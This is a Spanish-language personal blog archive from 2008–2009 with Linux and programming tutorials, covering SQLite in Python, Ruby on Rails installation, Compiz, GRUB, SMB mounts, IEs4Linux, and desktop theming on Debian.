
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
    print row

Obteniendo:

(u'maria@sucorreo.com', 25, 2, u'Maria Gomez', u'', 7)
(u'pablor@elcorreo.com', 24, 3, u'Pablo Rodriguez', u'www.pablo.com', 3)

Lo sentimos mucho por Pedro Pérez pero esa es la Ley del Oeste ;)

Para finalizar ~~el testamento~~ la entrada les dejo el archivo test.py después de unir todo lo que hemos hecho hasta ahora:

# -*- coding: utf-8 -*-
# Importamos la libreria de SQLite
import sqlite3

# Creamos la conexion
connection = sqlite3.connect('test.db')

# Creamos el cursor
cursor = connection.cursor()

# Creamos el arreglo que contiene toda la informacion
datos = [
    ('Pedro Perez', 34, 'pperez@tucorreo.com', '', 4),
    ('Maria Gomez', 25, 'maria@sucorreo.com', '', 7),
    ('Pablo Rodriguez', 41, 'pablor@elcorreo.com', 'www.pablo.com', 3),
]

# Insertamos todos los registros
for t in datos:
    cursor.execute('INSERT INTO Usuarios (nombre,edad,correo,url,visitas) VALUES (?,?,?,?,?)', t)

# Hacemos efectiva la transaccion
connection.commit()

# Imprimimos todos los registros
print "\nLista de todos los registros de la base de datos:"
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
    print row

# Imprimimos solo el registro que tenga id = 1
id = (1, )
cursor.execute("SELECT nombre, visitas FROM Usuarios WHERE id=?", id)
for row in cursor:
    print "\n%s ha realizado %i visitas" % (row[0], row[1])

# Actualizamos la edad de Pablo
values = (24, 'pablor@elcorreo.com', )
cursor.execute("UPDATE Usuarios SET edad=? WHERE correo=?", values)
connection.commit()
print "\nActualizada la edad de Pablo"

# Y volvemos a imprimir todos los registros para verificar los cambios
print "\nRegistros de la base de datos despues de actualizar a Pablo:"
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
    print row
    
# Borramos todos los registros con edades mayores de 34 anios
value = (34,)
cursor.execute("DELETE FROM Usuarios WHERE edad >= ?", value)
connection.commit()
print "\nBorrados todos los ancianos ;)"

# E imprimimos otra vez todos los registros para verificar los cambios
print "\nRegistros de la base de datos despues de borrar a los viejitos:"
cursor.execute('SELECT * FROM Usuarios')
for row in cursor:
    print row
    
# Finalmente cerramos todo como debe ser
cursor.close()
connection.close()

Es todo, espero que les haya sido de utilidad este pequeño tutorial

Dust Theme en Debian

2009-04-02T04:39:00.000-07:00

Últimamente he estado viendo muchas capturas de pantalla en la web con un tema de ventanas que me llama mucho la atención, principalmente porque es negro y además porque tiene un estilo demasiado limpio, moderno y estilizado, con bordes redondeados y muy bien trabajado. No es de esos temas negros que te queman la retina a los pocos minutos, es más bien un tema agradable... les hablo del famoso Dust Theme.

Éste tema lo han creado Rico Sta. Cruz y Kido Mariano con la idea de que sea incluido en el Ubuntu 9.04 (Jaunty Jackalope) para refrescar y mejorar un poco la apariencia del escritorio. Ojalá lo logren porque no es la primera vez que se escucha a la gente de Ubuntu decir que van a revolucionar el escritorio, que van a sacar un nuevo tema que nos dejará a todos boquiabiertos y bah... siempre salen con ~~la misma cochinada~~ el mismo tema Human :S

Bueno, lo primero que debemos saber es que el tema Dust trabaja con los motores de GTK2 Murrine y Clearlooks. Sin embargo el motor Murrine que trae Debian Squeeze no funciona con Dust, así que tenemos que descargar la versión SVN y compilarlo... nada del otro mundo xD

Instalaremos primero todas las dependencias:
# aptitude install gtk2-engines subversion build-essential automake autoconf intltool libtool libgtk2.0-dev

Luego nos descargamos la versión SVN de Murrine y la compilamos:

$ svn co http://svn.gnome.org/svn/murrine/trunk/ murrine
$ cd murrine
$ ./autogen.sh --prefix=/usr --enable-animation
$ make
# make install

El parámetro --enable-animation permite entre otras cosas habilitar las barras de progreso animadas (cosa que lograron gracias a Cairo).

Por último, descargamos el tema Dust para GTK2, el Dust para Firefox y los extras de Dust.

El Dust de GTK2 y los extras de Dust los instalamos de la siguiente forma: vamos al menú Sistema -> Preferencias -> Apariencia y arrastramos los archivos comprimidos dentro de la ventana anterior o simplemente descomprimimos los archivos en la carpeta ~/.themes. Cuando estén instalados entonces los seleccionamos en la misma ventana que sale en Sistema -> Preferencias -> Apariencia.

Al final nos debería quedar algo así:

Aún me falta instalar las fuentes que trae por defecto el Dust, cuando lo haga actualizo el post.

Cambio y fuera

Gestor de ventanas por defecto en GNOME

2009-03-21T06:51:00.000-07:00

Casi siempre me la paso jugando con gestores de ventanas (léase Compiz, Metacity, Openbox, etc) y resulta bastante incómodo que para hacer que uno de ellos arranque al inicio de la sesión tengamos que agregarlo en los programas de inicio de GNOME. Al hacerlo así, GNOME inicia primero su gestor de ventanas por defecto (metacity) y después inicia el que nosotros queremos. Obviamente tenemos que esperar casi el doble del tiempo para tener un escritorio usable.

Eso me motivó a leer e investigar para dar con el paradero del ~~@#!=&%$~~ fulano gestor de ventanas predeterminado, hasta que por fin lo encontré!

Basta con crear un archivo .gnomerc (si no existe) en nuestro directorio personal y dentro del archivo escribimos la siguiente línea indicando la ruta del gestor de ventanas que nosotros queremos como predeterminado:

export WINDOW_MANAGER=/usr/bin/compiz

La ruta /usr/bin/compiz podemos reemplazarla por cualquier otra, como por ejemplo
/usr/bin/openbox-gnome-session para correr GNOME usando Openbox como gestor de ventanas ;)

Shoes, Cairo y PyGTK

2009-02-26T19:22:00.000-08:00

Estuve conversando ayer con un amigo sobre toolkits sencillos y rápidos para desarrollar aplicaciones gráficas multiplataforma. Hablamos de FLTK, de ETK, de murgaLua, obviamente del GTK+ y Qt4 y hasta del mismísimo ~~infame~~ Gambas. Es ahí cuando el pana me presenta a "Shoes" <fanfarria con bombos platillos>.

Shoes (a.k.a alfombra, media, chancleta o como te provoque llamarlo =P) es un toolkit muy pequeño y que por sí solo puede hacer cosas realmente impresionantes. Según su creador "... puedes hacer aplicaciones realmente colorídas..." y se lo creo. Para muestra un botón

Está hecho en Ruby pero su sintaxis es tan simple que parece HTML con CSS (claro gracias en parte a los bloques de código Ruby). La cuestión me llamó tanto la atención que decidí probarlo y mi conclusión: es sencillamente maravilloso. El código es tan limpio, tan simple y tan intuitivo que dan ganas de poner a volar la imaginación para desarrollar cuanta cosa se te ocurra.

Y es que el simple hecho de que pueda hacer una ventana con un fondo degradado con tan solo 7 miserables líneas de código me hace sangrar la nariz.

Shoes.app do
  background "#F3F".."#F90"
  title "Shoooes", :top => 60,
    :align => "center",
    :font => "Trebuchet MS",
    :stroke => white
end

Sin embargo me surgió una pregunta: ¿Por qué Ruby? y e instantáneamente surgió otra: ¿No habrá un Shoes para Python? La respuesta a la segunda es NO. La respuesta a la primera aún la desconozco.

Si aún están leyendo se preguntarán: ¿Y que tiene que ver todo esto con Cairo y PyGTK? Pues muy simple, revisando el código fuente de Shoes me di cuenta que una ventana no es más que un lienzo (o canvas) y que ese lienzo _aparentemente_ lo crean y lo trabajan con Cairo. Suena muy simple, pero créanme... no lo es.

Fue ahí donde se me ocurrió la idea: ¿Por qué no hacer una implementación de Shoes para Python usando Cairo? y pues bueno aquí estoy, leyendo todo cuanto encuentro sobre Cairo y PyGTK. He leído un par de blogs donde dicen como trabajar con Cairo y PyGTK, además de la documentación de Cairo. Entre ellos:

http://blog.rastersoft.com/index.php/2007/06/20/trabajando-con-pycairo-y-gtk/

http://blog.eikke.com/index.php/ikke/2007/02/17/python_cairo_xshape_and_clocks

http://cairographics.org/documentation/pycairo/reference/index.html#reference-index

Apenas he corrido un par ejemplos y todo parece funcionar muy bien. Seguiré investigando y publicando mis progresos.

Cambio y fuera

Instalar IExplorer en GNU/Linux

2009-02-08T05:29:00.000-08:00

Seguro les ha pasado más de una vez que una ~~estúpida~~ página no sirve si no es con iexplorer. A mi me sucedió con la página de mi banco preferido (Banco Mercantil) y es que para afiliar servicios, cuentas y otras cosas necesitaba generar una "e-Seguridad" que para mi ~~desgracia~~ sorpresa solo se podía generar con iexplorer.

Le di mil vueltas al asunto, consulté con algunos amigos que tenían el mismo problema y todos coincidíamos en lo mismo; no había manera de hacerlo desde Firefox/Iceweasel/Opera/Safari. Mi PC ni siquiera sabe lo que es Windows (ni lo sabrá =P), así que la solución de instalar Windows en una pequeña partición o en una máquina virtual solo para hacer una transferencia está descartada. Mi último recurso era Wine y el famoso IEs4Linux.

IEs4Linux es un script que te descarga el instalador (y todos los archivos necesarios) de Internet Explorer desde la página de Microsoft y lo instala en una especie de sandbox con Wine. A pesar de que parece muy simple, me dió varios errores durante la instalación así que voy a explicar los pasos que seguí para instalarlo sin problemas.

Antes de continuar debo aclarar lo siguiente: Microsoft pide una licencia original de Windows para instalar cualquier programa (incluso para ~~la basura de~~ Internet Explorer) aunque sea bajo GNU/Linux. Si no tienes la fulana licencia estas cometiendo un delito ~~al igual que yo~~.

Continuemos; primero nos descargamos el cabextract y por supuesto el wine (como root):
# aptitude install cabextract wine

Luego descargamos el ies4linux, en una terminal escribimos (como usuario normal):

$ wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
$ tar zxvf ies4linux-latest.tar.gz
$ cd ies4linux-*

Ahora para que funcione correctamente, debemos copiar el cabextract dentro de una carpeta llamada tmp (dentro de la carpeta de instalación del ies4linux). Para eso ejecutamos lo siguiente en la terminal anterior:

$ mkdir tmp
$ cp /usr/bin/cabextract tmp/

Finalmente ejecutamos el script:
$ ./ies4linux

Cuando aparezca el asistente seleccionamos la versión de iexplorer que deseamos instalar, el idioma en inglés (EN-US) y quitamos la instalación del flash (puesto que el flash 9 da algunos problemitas).

Hacemos click en "Aceptar" y comenzará la instalación.

Cuando el instalador termine tendremos el iexplorer listo para usar, solo faltaría instalar el flash player (en caso de que sea necesario) y para eso basta con visitar la página de Adobe http://get.adobe.com/es/flashplayer/, descargar y ejecutar.

Ojala y pronto esas páginas dejen de estar casadas con Microsoft para que podamos ser completamente libres de elegir nuestro navegador preferido sin tener que ~~infringir la ley~~ recurrir a métodos oscuros para hacer nuestras tareas cotidianas =D.

La Aventura de Ruby on Rails (Parte 2): El entorno de desarrollo

2009-01-14T04:22:00.000-08:00

En la entrega pasada instalamos Ruby y Rails con todos los complementos necesarios para crear una aplicación web. Ahora vamos a configurar nuestro entorno de desarrollo para empezar a echar las primeras líneas de código.

Para aquellos que adoran las funcionalidades de un IDE como eclipse entonces les dejo este link. Desde allí pueden descargar EasyEclipse; un entorno basado en Eclipse pero viene listo para programar en Ruby on Rails (trae muchas otras funcionalidades pero no me he tomado la molestia de revisarlo al detalle).

A mi, sin embargo, me gusta más la simplicidad y siempre he pensado que los IDE consumen muchos recursos, es por eso que un simple editor de textos es la solución perfecta a mis necesidades. A partir de este punto explicaré como transformar al Gedit (el editor por defecto de GNOME) en una poderosa herramienta de desarrollo.

La siguiente receta está basada en un trabajo del amigo Joselo en su blog NationCode: Gedit como Textmate mejorado para GNU/Linux pero adaptada para cubrir mis necesidades. Todos los archivos necesarios para aplicarla puedes descargarlos de aquí

Dentro del archivo comprimido está un script que realiza la instalación por sí solo, lo único que debes hacer es descomprimirlo, entrar a la carpeta y ejecutarlo con permisos de súper usuario; algo más o menos así:

tar -xzf gedit-dev-1.2.tar.gz
cd gedit-dev
sudo sh gedit-dev-sh

Si quieres instalarlo uno a uno tú mismo entones continúa leyendo la receta :D

A partir de este punto ejecutaremos las instrucciones como súper usuario. Lo primero que haremos será instalar los plugins extra de Gedit
# aptitude install gedit-plugins

Posteriormente editamos el archivo /etc/mime.types y agregamos estas líneas al final:

text/x-ruby-source                           rhtml html.erb
text/x-eruby                                    rjs
text/x-yaml                                      yml

A continuación actualizamos las extensiones mime types:
update-mime-database /usr/share/mime

Nos posicionamos en la carpeta descomprimida de gedit-dev y copiamos el archivo x-rhtml.xml a la carpeta /usr/share/mime/packages:
cp mime/x-rhtml.xml /usr/share/mime/packages

Copiamos las definiciones de rhtml, ruby, rjs y yml a la carpeta /usr/share/gtksourceview-2.0/language-specs:
cp langs/*.lang /usr/share/gtksourceview-2.0/language-specs

Ahora salimos del modo súper usuario (pero nos quedamos dentro de la carpeta gedit-dev) y nos devolvemos a nuestro usuario regular. Instalamos los otros plugins de Gedit:

mkdir -p ~/.gnome2/gedit/plugins/
cp -R plugins/* ~/.gnome2/gedit/plugins/

Instalamos los recortes para el Gedit

mkdir -p ~/.gnome2/gedit/snippets/
cp -R snippets/*  ~/.gnome2/gedit/snippets/

Y luego instalamos los estilos o temas de colores para el resaltado de la sintaxis:

mkdir -p ~/.gnome2/gedit/styles/
cp styles/*  ~/.gnome2/gedit/styles/

Ahora configuramos el Gedit. En el menú Editar->Preferencias, pestaña Ver debemos desactivar el ajuste de texto, mostramos los números de línea, la línea actual y el margen derecho; establecemos el margen en la columna 80 y resaltamos la pareja del corchete.

En la pestaña Editor establecemos el ancho del tabulador a 2, insertamos espacios en lugar de tabuladores, activamos la sangría automática, desactivamos la copia de respaldo y autoguardamos cada 10min.

En la pestaña Tipografía seleccionamos el tema Serious y en Complementos activamos:

Dibujar espacios

Panel del examinador de archivos

Recortes

Salvasesiones

Snap Open

El resultado un simple pero poderoso editor listo para Ruby on Rails :)

La Aventura de Ruby on Rails (Parte 1): El inicio

2008-12-26T19:56:00.000-08:00

Este post es el inicio de una serie en la que pretendo ilustrar mis experiencias e impresiones en el mundo de Ruby on Rails. Debo decir que al momento de escribir esto conozco realmente poco (por no decir nada) sobre Ruby, Rails y afines, así que empezaré desde cero. Vamos con un poco de teoría

¿Qué es Ruby?
Ruby es un lenguaje de programación interpretado, reflexivo y orientado a objetos, creado por el programador japonés Yukihiro Matsumoto y distribuido bajo licencias libres. Combina una sintaxis inspirada en Python y Perl, con características de programación orientada a objetos similares a Smalltalk. Comparte también funcionalidad con otros lenguajes de programación como Lisp, Lua, Dylan y CLU

¿Qué es Ruby on Rails?
Ruby on Rails (RoR o Rails) es un entorno de desarrollo web de código abierto escrito en Ruby y optimizado para satisfacción de los programadores y de la productividad. Te permite escribir aplicaciones web siguiendo el paradigma de la arquitectura Modelo Vista Controlador (MVC) y su filosofía principal es: Favorecer la convención antes que la configuración

¿Qué son las Gemas de Ruby o Ruby Gems?
Las Gemas son paquetes autocontenidos utilizados por Ruby oficialmente para distribuir librerías y aplicaciones. Son empleadas por Rails para la instalación de su entorno

¿En qué consiste la arquitectura MVC?
En pocas palabras podemos decir que la arquitectura MVC separa una aplicación en 3 capas: el Modelo, la Vista y el Controlador. El Modelo trabaja directamente con las fuentes de datos (bases de datos, sockets, etc) y es el encargado de la integridad de la información. La Vista es la interfaz que usará la aplicación para interactuar con el usuario y la que se usará para mostrar los datos del modelo. La Vista debe ser "tonta" en el sentido de que no debe tener conocimiento alguno sobre las fuentes de datos, los eventos u otros, solo debe mostrar la información que se le indique. Por último, el controlador es quien maneja los eventos de la aplicación, digamos que es la "pega" entre el Modelo y la Vista; puede interactuar con las funciones del modelo y envía información a la Vista.

Dicho esto empecemos con la instalación del ambiente Ruby on Rails. Las siguientes instrucciones están hechas para Debian Lenny 5.0 e instalarán Ruby 1.8 y Rails 1.2.6.

Instalamos Ruby y todos los paquetes necesarios (como super usuario):

# aptitude update
# aptitude install build-essential ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby mysql-server mysql-client

Descargamos los paquetes necesarios para Ruby si no los tenemos (ver la página de RubyForge para más información):

$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
$ wget http://rubyforge.org/frs/download.php/26547/activesupport-1.4.4.gem
$ wget http://rubyforge.org/frs/download.php/28328/actionpack-1.13.6.gem
$ wget http://rubyforge.org/frs/download.php/28331/actionmailer-1.3.6.gem
$ wget http://rubyforge.org/frs/download.php/28325/activerecord-1.15.6.gem
$ wget http://rubyforge.org/frs/download.php/28334/actionwebservice-1.2.6.gem
$ wget http://rubyforge.org/frs/download.php/19878/rake-0.7.3.gem
$ wget http://rubyforge.org/frs/download.php/28337/rails-1.2.6.gem

Instalamos el manejador de paquetes de Ruby (RubyGems):

# tar -xvzf rubygems-1.2.0.tgz 
# cd rubygems-1.2.0
# ruby setup.rb
# ln -s /usr/bin/gem1.8 /usr/bin/gem

Y por último instalamos las gemas que acabamos de descargar:

# gem install activesupport-1.4.4.gem
# gem install actionpack-1.13.6.gem
# gem install actionmailer-1.3.6.gem
# gem install activerecord-1.15.6.gem
# gem install actionwebservice-1.2.6.gem
# gem install rake-0.7.3.gem
# gem install rails-1.2.6.gem

Es importante destacar que se deben instalar las versiones tal cual como aparecen aquí y en el mismo orden pues son las que funcionan correctamente entre sí.

Para comprobar que todo ha ido bien basta con hacer:

$ ruby --version
ruby 1.8.7 (2008-08-11 patchlevel 72) [i486-linux]
$ rails --version
Rails 1.2.6

Con esto ya podemos empezar a crear aplicaciones en Rails :D pero dejaremos esa parte para la próxima entrega.

Acá dejaré un script que se puede utilizar para instalar Ruby on Rails al toque, solo basta ejecutarlo como super usuario y él se encargará de hacer el resto ;)

#!/bin/bash
#===================================================
#
# ruby_instalacion.sh - Script en bash que permite instalar Ruby On Rails
# al vuelo
#
# Copyright (C) 2008:  Wil Alvarez 
#
#===================================================

# Instalar Ruby
aptitude update
aptitude install -y build-essential ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

# Instalar RubyGems
wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
tar -xvzf rubygems-1.2.0.tgz 
cd rubygems-1.2.0
ruby setup.rb
GEM=/usr/bin/gem
if [ -n $GEM ]; then
    rm -f /usr/bin/gem
fi
ln -s /usr/bin/gem1.8 /usr/bin/gem
cd ..
rm -rf rubygems-1.2.0/

# Instalar Rails
wget http://rubyforge.org/frs/download.php/26547/activesupport-1.4.4.gem
wget http://rubyforge.org/frs/download.php/28328/actionpack-1.13.6.gem
wget http://rubyforge.org/frs/download.php/28331/actionmailer-1.3.6.gem
wget http://rubyforge.org/frs/download.php/28325/activerecord-1.15.6.gem
wget http://rubyforge.org/frs/download.php/28334/actionwebservice-1.2.6.gem
wget http://rubyforge.org/frs/download.php/19878/rake-0.7.3.gem
wget http://rubyforge.org/frs/download.php/28337/rails-1.2.6.gem

gem install activesupport-1.4.4.gem
gem install actionpack-1.13.6.gem
gem install actionmailer-1.3.6.gem
gem install activerecord-1.15.6.gem
gem install actionwebservice-1.2.6.gem
gem install rake-0.7.3.gem
gem install rails-1.2.6.gem

rm activesupport-1.4.4.gem actionpack-1.13.6.gem actionmailer-1.3.6.gem activerecord-1.15.6.gem actionwebservice-1.2.6.gem rake-0.7.3.gem rails-1.2.6.gem

Primera Cayapa Tećnica de Canaima 2.0

2008-12-26T18:28:00.000-08:00

Los días 05 y 06 de diciembre del presente año (2008 por si acaso :p) se celebró en la Península de Paraguaná el primer BSP (Bug Squash Party) sobre la distribución venezolana GNU/Linux Canaima 2.0; evento que fue bautizado como Cayapa Técnica. Para aquellos que no sean de Venezuela o no conozcan el significado, "Cayapa" es el nombre que le dan los campesinos venezolanos al trabajo mancomunado, realizado de manera cooperativa. Así que de ahí sale el nombre tan original ;)

La planta Venezolana de Industria Tecnológica (VIT) fue la sede anfitriona de tan importante evento al cual tuve la suerte ser invitado como miembro de la Comunidad de Software Libre y donde tuve el honor de compartir con otros compañeros de la comunidad y de instituciones gubernamentales como el Centro Nacional de Tecnologías de Información (CNTI), la Fundación para el Desarrollo de la Ciencia y la Tecnología (FUNDACITE) y el Centro Nacional de Desarrollo e Investigación en Tecnologías Libres (CENDITEL), entre otros.

De más está decir que el evento fue netamente técnico (claro, con sus respectivos ratos de recreación y curda... ejmmm... perdón ocio xD) centrado en la búsqueda y resolución de errores en el proyecto Canaima. El equipo se dividió en 2 grupos; uno orientado a la parte técnica de la distribución y otro a la plataforma colaborativa. Al final de la jornada se reportaron 36 fallas y sugerencias sobre el sistema y la plataforma colaborativa, así como algunas ideas para su futura corrección.

El evento también sirvió para realizar pruebas de funcionamiento del sistema operativo sobre los equipos de escritorio y portátiles de VIT, por lo que se espera que para el 2009 estos equipos ya vengan con Canaima 2.0 pre-instalado y corriendo de la mejor manera posible.

A continuación dejo un álbum con unas pocas fotos de las instalaciones de la planta de VIT y del grupo de trabajo de la Cayapa :D

Canaima BSP 1

Instalar Compiz Fusion en Debian Lenny

2008-12-26T15:54:00.000-08:00

En estos días me dispuse a instalar de nuevo Compiz en mi Debian Lenny y me encontré con la sorpresa de que los repositorios que pululan por ahí en internet ya no estaban disponibles así que decidí hacer una búsqueda y publicar mis resultados. Acá está el enlace del repositorio que encontré y a continuación explico como hacer la instalación.

Compiz Fusion solo funcionará si tienes una tarjeta gráfica con soporte OpenGL y si tienes instalado correctamente el driver de vídeo. Si tu tarjeta gráfica es NVIDIA puedes leer este post para instalar el driver de vídeo correctamente.

Dicho esto, entonces procedamos... Primero agregamos las siguientes líneas a nuestro archivo /etc/apt/sources.list:

deb http://download.tuxfamily.org/osrdebian unstable compiz-fusion-git
deb-src http://download.tuxfamily.org/osrdebian unstable compiz-fusion-git

Agregamos la llave GPG ejecutando en la consola (como super usuario):
# wget http://download.tuxfamily.org/osrdebian/61B8DB62.gpg -O- | apt-key add -

Y actualizamos la lista de paquetes:
# aptitude update

Luego instalamos:
# aptitude install compiz compiz-gnome

Para ejecutarlo basta con correr en la consola:
$ compiz --replace &

Y para configurarlo vamos al menú Sistema->Preferencias->Administrador de Opciones CompizConfig

Si queremos añadirle más funcionalidad al asunto podemos instalar el decorador de ventanas emerald:
# aptitude install emerald emerald-themes

Y entonces ejecutar el compiz con la siguiente instrucción:
$ compiz --replace -c emerald &

Eso nos dará como resultado un escritorio muy cool xD

Montar carpeta compartida de Windows en Debian

2008-12-18T10:27:00.000-08:00

Para montar una carpeta compartida de Windows en Debian (o cualquier otra distro GNU/Linux basada en Debian) necesitamos instalar el sistema de archivos smbfs. El smbfs entiende el protocolo SMB/CIFS usado por Windows para el trabajo en grupo y nos permite usar el comando mount para montar dicho recurso compartido como un dispositivo común y corriente.

Instalamos el smbfs:
# aptitude install smbfs

Creamos el directorio en el cual queremos montar la carpeta compartida, por ejemplo /mnt/compartida:
# mkdir /mnt/compartida/

Ahora supongamos que el recurso se encuentra en la ruta //192.168.1.15/carpeta, que el usuario para acceder es usuario y la contraseña 123456. Usando el comando mount nos quedaría algo como:
mount -t smbfs -o username=usuario,password=123456 //192.168.1.15/carpeta /mnt/compartida

A partir de ahora podremos trabajar la información de la carpeta compartida en la ruta /mnt/compartida de forma transparente. Podríamos incluso agregar una línea al archivo /etc/fstab para que el recurso se monte automaticamente cada vez que iniciemos la PC pero lo dejaré como tarea para el lector =D

Cambiar zona horaria en Debian

2008-12-16T06:02:00.000-08:00

Para ver o configurar la zona horaria establecida en nuestro sistema Debian basta con ejecutar:

# dpkg-reconfigure tzdata

Seleccionamos el Área Geográfica:

Y posteriormente el país:

Editar la configuración de GNOME desde la consola

2008-11-29T17:54:00.000-08:00

El escritorio GNOME y muchas aplicaciones utilizan GConf para almacenar las preferencias del usuario y los datos de configuración del sistema en un repositorio central que almacena los valores en forma de pares clave-valor, simplificando la administración de la configuración para los usuarios y administradores del sistema.

GNOME viene con un editor de preferencias llamado GConf Editor. Puede invocarse desde la consola ejecutando el comando:

$ gconf-editor

Desde allí podemos cambiar la mayoría de las preferencia del sistema.

Sin embargo, cuando necesitamos cambiar las preferencias de forma automática (digamos desde un script o algún programa) el editor NO será de gran ayuda. Para ello contamos con la herramienta gconftool. Usarla es realmente simple; mostraré con un ejemplo como hacerlo.

Supongamos que deseamos mostrar en nuestro escritorio el icono de la Papelera de Reciclaje. Desde el GConf Editor podemos ver que la ruta donde se encuentra esta preferencia es /app/nautilus/desktop/ y la clave es trash_icon_visible. Obviamente si la clave está en true se mostrará el icono de la papelera y si está en false no se mostrará.

El comando sería tan sencillo como:

$ gconftool -s --type=bool /apps/nautilus/desktop/trash_icon_visible true
donde:

-s indica que la variable será establecida (del inglés set)

--type indica el tipo de clave a editar. Hasta ahora he usado string para el texto y bool para los valores booleanos (verdaderos y falsos)

Luego se especifica la ruta completa de la clave, en este caso /apps/nautilus/desktop/trash_icon_visible

Y por último el valor que le queremos asignar a la clave, en este caso true.

Podemos usar el comando donde y cuando sea necesario para ajustar nuestras preferencias al gusto.

Agregar imágenes de fondo al GRUB

2008-11-29T17:44:00.000-08:00

A continuación explicaré cómo agregar imágenes de fondo al GRUB en Debian Lenny.

Instalamos el paquete grub-splashimages:
# aptitude install grub-splashimages
Después de esto quedarán instaladas algunas imágenes de fondo en la ruta /boot/grub/splashimages.

Para colocar una de ellas de fondo basta con ejecutar el siguiente comando:
# ln -s /boot/grub/splashimages/nombre_imagen.xpm.gz splash.xpm.gz
donde nombre_imagen.xpm.gz es el nombre del archivo que queremos colocar como fondo.

Reiniciamos y veremos nuestra flamante imagen de fondo :)

Canaima la distribución GNU/Linux Venezolana

2008-11-27T07:07:00.000-08:00

Canaima es una distribución GNU/Linux Venezolana basada en Debian que está siendo desarrollada por el CNTI en conjunto con la comunidad de software libre de Venezuela.

Surge con la finalidad de cubrir las necesidades ofimáticas de los usuarios de la Administración Pública Nacional (APN) y para dar cumplimiento al decreto presidencial Nro. 3.390 sobre el uso de Tecnologías Libres en todos los entes gubernamentales.

Entre las principales características principales de Canaima tenemos:

Está desarrollada completamente bajo Software Libre.

No está limitada al uso en la APN, sino que puede ser usado por cualquier persona.

Es estable y segura, pues está basada en Debian, la cual pasa por una serie de procesos y pruebas rigurosas de calidad.

Realizada en Venezuela por talento nacional.

Posee una serie de herramientas (ofimáticas, diseño gráfico, planificación de proyectos, bases de datos, gestores de correo electrónico, aplicaciones para llamadas sobre VoIP, entre otros) que hacen de Canaima una distribución realmente completa "Out of the box".

Permite la estandarización de los procesos técnicos, de soporte y capacitación a nivel de Tecnologías de la Información

Promueve la industria nacional de Software Libre

Estimula el acercamiento de los usuarios al Software Libre para su uso personal

Brinda soberanía e independencia tecnológica

Hasta ahora Canaima anda sobre ruedas, la gente del CNTI está estimulando la participación de la comunidad en el desarrollo y crecimiento de la misma. La versión actual es la 2.0, se encuentra en perfecto estado de usabilidad y ya se está trabajando en la siguiente publicación.

Puede obtener el DVD de Canaima a través de cualquiera de estos medios:

* Canaima v2.0 i386 (ISO)
* Canaima v2.0 i386 (.jigdo)
* Canaima v2.0 i386 (.torrent)

Estaré al tanto de las novedades al respecto para hacerlas saber por este medio

Cambiar orden de arranque en GRUB2

2008-11-26T07:50:00.000-08:00

GRUB (GRand Unified Bootloader) es un gestor de arranque múltiple que se usa para iniciar dos o más sistemas operativos instalados en un mismo equipo. Es el gestor de arranque usado por la mayoría de las distribuciones GNU/Linux, sin embargo su desarrollo ya no esta activo; solamente se corrigen errores mientras GRUB2 se estabiliza.

GRUB2 es un gestor de arranque derivado de PUPA y constituye la evolución del famoso GRUB. Ha sido reescrito desde cero con la finalidad de corregir todos los errores de GRUB e implementar nuevos esquemas de modularidad y portabilidad.

Los que venimos de GRUB estamos acostumbrados a cambiar todas las opciones de arranque desde el archivo /boot/grub/menu.lst, sin embargo en GRUB2 este archivo no se utiliza. Para cambiar las opciones de arranque (especificamente el orden de arranque) en GRUB2 debemos editar el archivo /etc/default/grub. En la línea:

GRUB_DEFAULT=0
Colocaremos la opción que queremos por defecto al momento de arrancar (0 para la primera opción, 1 para la segunda y así sucesivamente).

Luego ejecutamos (como super usuario):

# update-grub
Ese último comando regenera todos los archivos de configuración del GRUB2 para que los cambios surtan efecto.

Solo queda reiniciar y verificar que todo está en el orden que deseamos :)

Clonar un CD/DVD desde la consola

2008-11-25T11:00:00.000-08:00

Si tenemos una sola unidad óptica (CD-RW o DVD-RW) y queremos duplicar un disco desde la consola entonces la siguiente receta nos será de mucha utilidad.

Primero colocamos el CD/DVD original (el que se desea duplicar) en la unidad para crear la réplica exacta en nuestro disco duro (es decir una imagen). Para ello necesitamos saber en que dispositivo se encuentra el CD-RW/DVD-RW, eso lo obtenemos con el comando ls:

$ ls /dev/cd*
/dev/cdrom  /dev/cdrw

En nuestro caso se encuentra bajo el dispositivo /dev/cdrw.

Ahora con el comando dd realizamos la imagen:

$ dd if=/dev/cdrw of=nombre_imagen.iso
El argumento if nos indica el archivo (o dispositivo) de entrada, mientras que el of se refiere al archivo de salida, en nuestro caso el archivo de imagen .iso.

Luego de unos minutos tendremos un archivo idéntico al CD/DVD (con los mismos pelos y señales) en nuestro disco duro. Ahora para grabarlo en otro disco usaremos el comando wodim. Si no lo tenemos instalado lo hacemos con aptitude:

# aptitude install wodim

Para usar el wodim debemos especificar el nombre del dispositivo grabador. Por alguna extraña razón wodim no emplea la misma terminología para los dispositivos que dd, así que es necesario ejecutar el comando wodim para saber en que dispositivo grabaremos.

$ wodim --devices
wodim: Overview of accessible drives (1 found) :
-------------------------------------------------------------------------
 0  dev='/dev/hdb' rwrw-- : 'TSSTcorp' 'CD/DVDW SH-S182F'
-------------------------------------------------------------------------

Como podemos observar wodim nos arroja que el dispositivo es el /dev/hdb. Con esa información procedemos a grabar. Insertamos entonces un disco en blanco en la unidad y ejecutamos la siguiente orden:

$ wodim -v -fs=128M -eject -dev=/dev/hdb nombre_imagen.iso

Al finalizar podremos disfrutar de una copia exacta de nuestro CD/DVD

Desordenar arreglos en Python

2008-11-24T06:24:00.000-08:00

Hace algún tiempo publiqué un pequeño algoritmo para desordenar arreglos en C++. Esta vez escribiré el mismo algoritmo pero en Python; veamos:

import random

arreglo = []

for i in range(44):
    arreglo.append(i)

# Esta línea realiza todo el trabajo sucio de desordenar el arreglo y lo 
# guarda en la misma variable :D
random.shuffle(arreglo)

